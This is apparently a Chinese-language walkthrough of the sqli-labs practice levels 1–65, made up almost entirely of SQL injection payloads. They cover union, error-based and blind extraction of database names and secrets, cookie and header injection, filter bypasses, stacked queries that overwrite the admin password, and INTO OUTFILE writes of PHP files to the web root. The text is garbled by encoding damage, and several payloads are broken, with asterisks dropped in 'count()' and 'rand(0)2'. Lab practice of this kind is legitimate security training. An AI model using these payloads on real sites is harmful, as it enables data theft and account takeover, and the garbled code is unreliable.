sql-lab通關(guān)
?id=1'
單引號報錯,有回顯信息,無限制
?id=1' and '1'='2 頁面有不同,字符型
less-2
?id=1'
單引號報錯,有回顯信息,頁面有不同,無限制
?id=1 and 1=2 頁面有不同,數(shù)字型
less-3
?id=1'
單引號報錯,有回顯信息,頁面有不同,無限制
?id=1') and ('1')=('2 頁面有不同,單引號+括號
less-4
?id=1"
雙引號報錯,有回顯信息,頁面有不同,無限制
?id=1") and ("1")=("2 頁面有不同,雙引號+括號
less-5
?id=1'
單引號報錯,無回顯信息,無限制
?id=1' and '1'='2 頁面有不同,字符型
無回顯信息,可以使用時間盲注
?id=1' and sleep(5) --+
?id=1' and if(1=1,sleep(5),1) --+
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
#ascii表 A-z 65-122 ? database()=security
返回錯誤信息,可以使用雙注入查詢、報錯注入
#雙注入
select 1,count(*),floor(rand(0)*2) as bd from information_schema.tables group by bd
select 1,count(*),concat((select database()),':',floor(rand(0)*2)) as bd from information_schema.tables group by bd
#報錯注入1
select 1,2,extractvalue(1,concat(0x7e,database()))
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 50,1))) --+
#報錯注入2
select 1,2,updatexml(1,concat(0x7e,database()),1) --+
?id=1' union select 1,2,updatexml(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1)),1) --+
less-6
?id=1"
雙引號報錯,無回顯信息,無限制
類似less-5
less-7
?id=1'
單引號報錯,無回顯信息,無限制,use outfile(寫入文件)
into outfile()
?id=-1')) union select 1,'<?php phpinfo() ?>',3 into outfile "/var/www/html/Less-7/test.php"--+
#雖然會報錯,但是文件已經(jīng)寫入進(jìn)去了
#進(jìn)行訪問
/test.php
目錄有寫入權(quán)限
絕對路徑
less-8
?id=1'
單引號出現(xiàn)頁面變化,無回顯,無限制
?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))=115--+
#database()=security
使用盲注進(jìn)行爆破
less-9
?id=1
無論id后面添加任何值頁面都無反應(yīng)
嘗試時間盲注:單引號
?id=1' and sleep(5)--+
?id=1' and if (ascii(substr(database(),1,1))=115,sleep(5),1)--+
less-10
?id=1
無論id后面添加任何值頁面都無反應(yīng)
嘗試時間盲注:雙引號
?id=1" and sleep(5)--+
?id=1" and if (ascii(substr(database(),1,1))=115,sleep(5),1)--+
less-11
頁面是一個提交框:post請求
username:1 password:1 頁面無反應(yīng)
username:1' password:1 頁面報錯
username:1' union select 1,2 # password: 有回顯,無限制
username:1' union select 1,table_schema from information_schema.tables # password: 有回顯,無限制
less-12
頁面是一個提交框:post請求
username:1 password:1 頁面無反應(yīng)
username:1" password:1 頁面報錯
less-13
頁面是一個提交框:post請求
username:1 password:1 頁面無反應(yīng)
username:1' password:1 頁面報錯:根據(jù)報錯顯示推測:為: ')
username:1')union select 1,2# password:1 頁面顯示成功登錄,無回顯,無限制(登錄成功是因?yàn)閡nion后面語句執(zhí)行使得username=1,password=2)
username:admin') ?# password: 頁面顯示成功登錄,無回顯,無限制(登錄成功是因?yàn)榇嬖赼dmin這個賬戶,#繞過密碼登錄)
username:admin') and length(database())=8 # password: 布爾盲注
less-14
頁面是一個提交框:post請求
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:1") password:1
頁面報錯:推測為雙引號
username:admin" # password:1 登錄成功
username:admin“ and length(database())=8 # password: 布爾盲注
less-15
頁面是一個提交框:post請求
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin' # password:1 登錄成功
username:admin' and length(database())=8 # password: 登錄成功,布爾盲注
username:admin' and ascii(substr(database(),1,1))=115# password: 登錄成功,布爾盲注
less-16
頁面是一個提交框:post請求
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin") # password:1 登錄成功
username:admin") and length(database())=8 # password: 登錄成功,布爾盲注
less-17
頁面顯示密碼重置,Dhakkan: UPDATE user SET password=xxx WHERE username=xxx
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:Dhakkan password:1 成功修改密碼
username:Dhakkan’ password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:Dhakkan password:1‘ 成功修改密碼,報錯
username:Dhakkan password:1“ 成功修改密碼
username:Dhakkan password:1' and sleep(5)# 成功修改密碼,并延時。但是不是5秒(因?yàn)閡pdate更新中有where條件限制了用戶為Dhakkan,但是進(jìn)行時間盲注時的#將where條件注釋了,導(dǎo)致將數(shù)據(jù)庫中所有的用戶的密碼都進(jìn)行了更改,所以延遲時間為數(shù)據(jù)庫中的用戶數(shù)X5)
username:Dhakkan password:報錯注入 1' and extractvalue(1,concat(0x7e,database()))# 1' and updatexml(1,concat(0x7e,database()),1)# 1' and (select 1,count(),concat(floor(rand(0)2),database()) as bd from information_schema.schemata group by bd)#(子查詢=雙注入查詢) ? ? ? ?Operand should contain 1 column(s) 1' and (select 1 from (select 1,count(),concat(floor(rand(0)2),database()) as bd from information_schema.schemata group by bd)bd2)#(from中的子查詢=派生表)(select用union,update、delete、insert用or/and)
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin password:0(正確的賬號密碼) 登錄成功,有回顯:user agent
bp抓包:修改:User-Agent: ' 登錄成功,報錯
bp抓包:修改:User-Agent: '’ 登錄成功(insert into 表名(1,2,3)值('UA','IP','username'))
bp抓包:修改:User-Agent:'and database() and' 登錄成功,但是database()被原樣輸出,沒有被執(zhí)行(sleep(5)也不行),嘗試報錯注入
bp抓包:修改:User-Agent: 'and extractvalue(1,concat(0x7e,database())) and' 'and updatexml(1,concat(0x7e,database()),1) and' 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2) and'
less-19
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin password:0(正確的賬號密碼) 登錄成功,有回顯:referer
bp抓包:修改:Referer: ' 登錄成功,報錯
bp抓包:修改:Referer: '’ 登錄成功(insert into 表名(1,2,3)值('UA','IP','username'))
bp抓包:修改:Referer: 'and database() and' 登錄成功,但是database()被原樣輸出,沒有被執(zhí)行(sleep(5)也不行),嘗試報錯注入
bp抓包:修改:Referer: 'and extractvalue(1,concat(0x7e,database())) and' 'and updatexml(1,concat(0x7e,database()),1) and' 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2) and'
less-20
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id
burp抓post請求和get請求兩個包,每個修改: ' 直到:get請求的Cookie: uname=admin'; 報錯
修改cookie:uname=admin 'and extractvalue(1,concat(0x7e,database()))# 'and updatexml(1,concat(0x7e,database()),1) # 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)#
less-21
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id
發(fā)現(xiàn)cookie:YWRtaW4=(admin的base64編碼) cookie:YWRtaW4= ' (無變化) cookie:admin ' (報錯)
修改cookie:admin 'and extractvalue(1,concat(0x7e,database()))# 報錯,確定閉合為 ')
修改cookie:admin ')and extractvalue(1,concat(0x7e,database()))# 報錯
修改cookie:YWRtaW4gJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSkpIw==(第五步base64編碼)
YWRtaW4gJylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkgIw==
YWRtaW4gJylhbmQgKHNlbGVjdCAxIGZyb20oc2VsZWN0IGNvdW50KCopLGNvbmNhdChkYXRhYmFzZSgpLGZsb29yKHJhbmQoMCkqMikpIGFzIGJkIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGdyb3VwIGJ5IGJkKWJkMikj
less-22
username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制
username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id
發(fā)現(xiàn)cookie:YWRtaW4=(admin的base64編碼) cookie:YWRtaW4= ' (無變化)
使用 ' " ') ')) ") ")) \ / 這些符號修改cookie: admin 'and extractvalue(1,concat(0x7e,database()))#再進(jìn)行編碼
admin "and extractvalue(1,concat(0x7e,database()))#成功 YWRtaW4gImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkj YWRtaW4gImFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKSAj YWRtaW4gImFuZCAoc2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KGRhdGFiYXNlKCksZmxvb3IocmFuZCgwKSoyKSkgYXMgYmQgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgZ3JvdXAgYnkgYmQpYmQyKSM=
less-23
?id=1 頁面顯示: login name:dumb password:0
?id=1' 單引號報錯
?id=1' and '1'='1 正常顯示 ?id=1' and '1'='2 無回顯 表明單引號包裹,字符型,無字符過濾
根據(jù)報錯回顯構(gòu)造和 ?id=1' and '1'='1 ?id=1' and length(database())= '1 無回顯 ?id=1' and length(database())= '8 回顯信息,使用布爾盲注 ?id=1' and length((select table_name from information_schema.tables where table_schema= 'security' limit 0,1))= '1 ?id=1' and length((select table_name from information_schema.tables where table_schema= 'security' limit 0,1))= '6 有回顯
less-24
頁面存在登錄,新用戶創(chuàng)建,登錄成功后,可修改密碼
分別抓包各頁面,并對參數(shù)加 ' 測試:無效果
再注冊新用戶時,特殊符號不會被過濾,也會寫進(jìn)數(shù)據(jù)庫中,于是嘗試二次注入
新建用戶:admin'#/1
修改新用戶密碼:admin'#/2
此時數(shù)據(jù)庫會將 '#特殊符號進(jìn)行執(zhí)行,修改的是admin的密碼即 admin/2 admin'#/1
less-25
?id=1 頁面顯示: login name:dumb password:0
?id=1' 單引號報錯
?id=1' and '1'='1 顯示:and 和 or被過濾
?id=1' && '1'='1 && '1'='1內(nèi)容不被執(zhí)行
?id=1' || ?'1'='1(或) ?id=1' || ?'1'='2 執(zhí)行,但是是 1' 決定式子是否成立,即恒成立 ?id= -1' || ?'1'='1 顯示登錄信息 ?id= -1' || ?'1'='2 無回顯
?id=-1' || length(database())= '1 無回顯 ?id=-1' || length(database())= '8 回顯信息,使用布爾盲注
less-26
?id=1 頁面顯示: login name:dumb password:0
?id=1' 單引號報錯
?id=-1' || length(database())= '1 -1'中的 -被過濾,空格被過濾
?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注
繞過空格
?id=0'/**/||/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema= "security"/**/limit/**/0,1))='6
#/**/ \ 被過濾(/**/ \t ()、%a0替換空格)
?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='6
?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='29
成功
#嘗試使用報錯注入
?id=0'||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))))||'1'='1
?id=0'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1'='1
成功
less-27
?id=1 頁面顯示: login name:dumb password:0
?id=1' 單引號報錯
?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注
?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='6 union和select被過濾 嘗試大小寫,復(fù)寫繞過
?id=0'|| length((SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='6 ?id=0'|| length((SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='29 成功 ?id=0'||(extractvalue(1,concat(0x7e,(SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))||'1'='1 ?id=0'||(updatexml(1,concat(0x7e,(SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))||'1'='1
less-28
?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯登錄信息,使用布爾盲注
?id=0'|| length((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='6 ?id=0'|| length((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='29
?id=0'|| ascii(substr((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),1,1))='29 無回顯 ?id=0'|| ascii(substr((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),1,1))='101 回顯登錄信息(e)
less-29
?id=1 頁面顯示: login name:dumb password:0
?id=1' 單引號報錯
?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯
?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注
?id=0' || length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= '6 回顯信息
less-30
?id=1 頁面顯示: login name:dumb password:0
?id=1' 、)、')、)) 回顯登錄信息 ?id=1" 無回顯:猜測為"閉合
?id=1" and "1"="1 回顯登錄信息 ?id=1" and "1"="2 無回顯
?id=0" || length(database())= "1 無回顯 ?id=0" || length(database())= "8 回顯信息,使用布爾盲注
?id=0" || length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= "6(emails) 回顯登錄信息
less-31
?id=1 頁面顯示: login name:dumb password:0
?id=1" 報錯 ?id=1") 閉合
?id=1") and ("1")=("1 回顯登錄信息 ?id=1") and ("1")=("2 無回顯
?id=1") and length(database())=("1 無回顯 ?id=1") and length(database())=("8 回顯信息,使用布爾盲注
?id=1") and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= ("6(emails) 回顯登錄信息
less-32
?id=1 頁面顯示: login name:dumb password:0
?id=1' 頁面顯示1\'
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 報錯
?id=1%df' and length(database())=1--+ 無回顯 ?id=1%df ' and length(database())=8--+ 回顯信息,使用布爾盲注
?id=1%df' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息
less-33(同32)
?id=1 頁面顯示: login name:dumb password:0
?id=1' 頁面顯示1\'
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 報錯
?id=1%df' and length(database())=1--+ 無回顯 ?id=1%df ' and length(database())=8--+ 回顯信息,使用布爾盲注
?id=1%df' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息
less-34
username:admin password:0
username:admin' password:0 顯示:admin\'
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 username:admin%df' password:0 顯示:admin%df\'
報錯
username:admin?' password:
burp抓包輸入:admin%df'
username:admin?' and length(database())=1# password: username:admin?' and length(database())=8# password: 無回顯
username:admin?' or length(database())=1# password: 無回顯 username:admin?' or length(database())=8# password: 回顯登錄信息
username:admin?' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6# password: 回顯登錄信息
less-35
?id=1 頁面顯示: login name:dumb password:0
?id=1' 頁面顯示1\' 報錯
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 顯示:1?\' 報錯
?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯
?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息
less-36
?id=1 頁面顯示: login name:dumb password:0
?id=1' 頁面顯示1\' 回顯登錄信息
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 顯示:1?\' 報錯
?id=2%df‘ and 1=1--+ 回顯登錄信息 ?id=2%df‘ and 1=2--+ 無回顯信息
?id=2%df‘ and length(database())=1--+ 無回顯 ?id=2%df‘ and length(database())=8--+ 回顯登錄信息
?id=2%df‘ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息
less-37(同34)
username:admin password:0
username:admin' password:0 顯示:admin\'
對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 username:admin%df' password:0 顯示:admin%df\'
報錯
username:admin?' password:
burp抓包輸入:admin%df'
username:admin?' and length(database())=1# password: username:admin?' and length(database())=8# password: 無回顯
username:admin?' or length(database())=1# password: 無回顯 username:admin?' or length(database())=8# password: 回顯登錄信息
username:admin?' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6# password: 回顯登錄信息
less-38
?id=1 頁面顯示: login name:dumb password:0
?id=1' 報錯
?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯
?id=1' and length(database())=1--+ 無回顯 ?id=1' and length(database())=8--+ 回顯登錄信息
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息
less-39
?id=1 頁面顯示: login name:dumb password:0
?id=1' 報錯
?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯信息
?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息
less-40
?id=1 頁面顯示: login name:dumb password:0
?id=1" 、)、')、)) 回顯登錄信息 ?id=1' 無回顯:猜測為 ' 閉合
?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯
?id=1' and length(database())= '1 無回顯 ?id=1' and length(database())= '8 回顯信息,使用布爾盲注
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='6(emails) 回顯登錄信息
less-41
?id=1 頁面顯示: login name:dumb password:0
?id=1'、"、)、')、")、)) 無回顯
?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯信息
?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息
less-42
頁面存在登錄,登錄成功后,可修改密碼
分別抓包各頁面,并對參數(shù)加 ' 測試:無效果
沒辦法,根據(jù)42關(guān)的題目為:stacked query(堆疊查詢)
進(jìn)行堆疊注入 username:admin password:0';update users set password='1' where ?username='admin'#(users表是未卜先知了,用于驗(yàn)證此處存在堆疊注入,可以使用creat創(chuàng)建表)
驗(yàn)證username:admin password:1 成功登錄
less-43
題目stacked query(堆疊查詢)
進(jìn)行堆疊注入 username:admin password:1';update users set password='2' where ?username='admin'# 報錯:') 閉合
username:admin password:1');update users set password='2' where ?username='admin'#
驗(yàn)證username:admin password:2 成功登錄
less-44
題目stacked query(堆疊查詢)
進(jìn)行堆疊注入 username:admin password:2';update users set password='3' where ?username='admin'#
驗(yàn)證username:admin password:3 成功登錄
less-45
題目stacked query(堆疊查詢)
進(jìn)行堆疊注入 username:admin password:3';update users set password='4' where ?username='admin'# 登錄失敗
username:admin password:3');update users set password='4' where ?username='admin'# 盲猜:將:'、"、)、')、")、))。一個個試
驗(yàn)證username:admin password:4 成功登錄
less-46
?sort=1 頁面顯示用戶列表
?sort=1' 報錯
?sort=4 頁面顯示:Unknown column '4' in 'order clause' 推測:select * from security.users order by 1
?sort=1 desc 頁面降序排列,表名此處存在漏洞
?sort=1 and sleep(1)--+ 18秒,剛好有18個數(shù)據(jù),每個1秒
時間盲注 ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度
報錯注入 ?sort=1 and extractvalue(1,concat(0x7e,database()))--+ ?sort=1 and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1 and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)
一句話木馬 ?sort=1 and (select '<?php phpinfo() ?>') into outfile 'var/www/html/Less-46/test.php' --+ 頁面顯示:Can't create/write to file '/var/lib/mysql/var/www/html/Less-46/test.php' (Errcode: 2)
?sort=1 and (select '<?php phpinfo() ?>') into outfile "/var/www/html/Less-46/test.php" --+ 成功寫入文件,但是內(nèi)容中沒有phpinfo()
?sort=1 and (select '<?php phpinfo() ?>') into outfile "/var/www/html/Less-46/test.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e 寫入成功,每行都以<?php phpinfo() ?>結(jié)尾 lines terminated by 0x3c3f70687020706870696e666f2829203f3e(每行以十六進(jìn)制結(jié)尾)
http://xxxxxxxxx/Less-46/test.php 訪問phpinfo文件
less-47
?sort=1 頁面顯示用戶列表
?sort=1' 報錯
?sort=1“、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表
?sort=1' and sleep(1)--+ 同46,但是再?sort=1加單引號 '
less-48
?sort=1 頁面顯示用戶列表
?sort=1'、"、)、2、3、4、5、6、dfsd 無回顯
?sort=1、2、3 頁面顯示不同排序
直接盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+
less-49
?sort=1 頁面顯示用戶列表
?sort=1' 無回顯
?sort=1“、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表
?sort=1' and sleep(1)--+ 同47 ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+
less-50
?sort=1 頁面顯示用戶列表
?sort=1' 報錯
?sort=1、2、3 頁面顯示不同排序
?sort=4 頁面顯示:Unknown column '4' in 'order clause' 推測:select * from security.users order by 1
?sort=1 desc 頁面降序排列,表名此處存在漏洞
報錯注入 ?sort=1 and extractvalue(1,concat(0x7e,database()))--+ ?sort=1 and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1 and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)
時間盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度
less-51
?sort=1 頁面顯示用戶列表
?sort=1' 報錯
?sort=1"、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表
報錯注入
?sort=1' and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1' and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)
時間盲注 ?sort=1' and sleep(1)--+ ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度
less-52
?sort=1 頁面顯示用戶列表
?sort=1'、"、)、2、3、4、5、6、dfsd 無回顯
直接盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+
less-53
?sort=1 頁面顯示用戶列表
?sort=1' 無回顯
?sort=1"、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表
時間盲注 ?sort=1' and sleep(1)--+ ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度
less-54
?id=1(數(shù)據(jù)庫為:challenges)
?id=1' 無回顯
?id=-1‘ union select 1,2,3--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:G84L30CHOC
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='G84L30CHOC'--+ 顯示:id,sessid,secret_1A6W,tryy
?id=-1' union select 1,2,secret_1A6W from challenges.G84L30CHOC--+ 顯示:WJBEHUHFoXEHjhKq4Wnurbdv
less-55
?id=1 and 1=1 ?id=1 and 1=2 頁面變化:顯示登錄信息
?id=1) and (1)=(1 ?id=1) and (1)=(2 頁面變化:顯示登錄信息
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:ZJSHM2DQ8C
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ZJSHM2DQ8C'--+ 顯示:id,sessid,secret_F863,tryy
?id=-1) union select 1,2,secret_F863 from challenges.ZJSHM2DQ8C--+ 顯示:L40AihaqkVCdlw65coL81gv8
less-56
?id=1')
?id=1') and ('1')=('1 ?id=1') and ('1')=('2 頁面變化:顯示登錄信息
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:KX05DRNQNP
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='KX05DRNQNP'--+ 顯示:id,sessid,secret_KSM0,tryy
?id=-1') union select 1,2,secret_KSM0 from challenges.KX05DRNQNP--+ 顯示:6xPDGoV2DVCaMzWGbnuKf0p2
less-57
?id=1"
?id=1" and "1"="1 ?id=1" and "1"="2 頁面變化:顯示登錄信息
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:RJSIGBQM4G
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='RJSIGBQM4G'--+ 顯示:id,sessid,secret_6FSL,tryy
?id=-1" union select 1,2,secret_6FSL from challenges.RJSIGBQM4G--+ 顯示:PkL01Ui2JbuHfxG9XkR3yc6Q
less-58
?id=1
?id=1' 報錯
報錯注入 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:JBIP1R5EMM
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='JBIP1R5EMM')),1)--+ 顯示:id,sessid,secret_0B7B,tryy
?id=1' and updatexml(1,concat(0x7e,( select secret_0B7B from challenges.JBIP1R5EMM)),1)--+ 顯示:9JwkTrU87NHBBP1JbHLqi6Ja
less-59
?id=1
?id=1 and 1=1 ?id=1 and 1=2 頁面回顯不同
報錯注入 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:9KYV46AU0T
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='9KYV46AU0T')),1)--+ 顯示:id,sessid,secret_W9RR,tryy
?id=1 and updatexml(1,concat(0x7e,( select secret_W9RR from challenges.9KYV46AU0T)),1)--+ 顯示:A8Kp6YmTsMFaGouiQuz7Vp0W
less-60
?id=1" 報錯
報錯注入 ?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:PJQAGLUUXF
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='PJQAGLUUXF')),1)--+ 顯示:id,sessid,secret_8GNJ,tryy
?id=1") and updatexml(1,concat(0x7e,( select secret_8GNJ from challenges.PJQAGLUUXF)),1)--+ 顯示:FP4sSmvc9iLmGtNA7pRZqcsQ
less-61
?id=1' 報錯
報錯注入 ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:1PA6G0TRVN
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='1PA6G0TRVN')),1)--+ 顯示:id,sessid,secret_LVJI,tryy
?id=1')) and updatexml(1,concat(0x7e,( select secret_LVJI from challenges.1PA6G0TRVN)),1)--+ 顯示:jEtrVlDZGr0Rcq1E1nd3gpmE
less-62
只有單引號不回顯
?id=1') and ('1')=('1 ?id=1') and ('1')=('2 回顯頁面不同
盲注 ?id=1') and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)
?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=49 --+ 一個個得出table_name=1PA6G0TRVN
?id=1') and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='1PA6G0TRVN'),1,1))=105 --+ 得出:id,sessid,secret_LVJI,tryy
?id=1') and ascii(substr((select secret_LVJI from challenges.1PA6G0TRVN),1,1))=106 --+ 得出:jEtrVlDZGr0Rcq1E1nd3gpmE
less-63
?id=1' 唯一不回顯
盲注 ?id=1' and ascii(substr(database(),1,1))=99 --+ 回顯(challenges:c)
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=88 --+ 一個個得出table_name=XVCQ5S72H0
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='XVCQ5S72H0'),1,1))=105 --+ 得出:id,sessid,secret_IU8C,tryy
?id=1' and ascii(substr((select secret_IU8C from challenges.XVCQ5S72H0),1,1))=114 --+ 得出:rNlAiMP1PMtH............
less-64
?id=1 and 1=1 ?id=1 and 1=2 回顯不同
?id=1 and ascii(substr(database(),1,1))=99 回顯(challenges:c)
?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=88 一個個得出table_name=XVCQ5S72H0
?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='XVCQ5S72H0'),1,1))=105 得出:id,sessid,secret_IU8C,tryy
?id=1 and ascii(substr((select secret_IU8C from challenges.XVCQ5S72H0),1,1))=114 得出:rNlAiMP1PMtH............
less-65
?id=1")
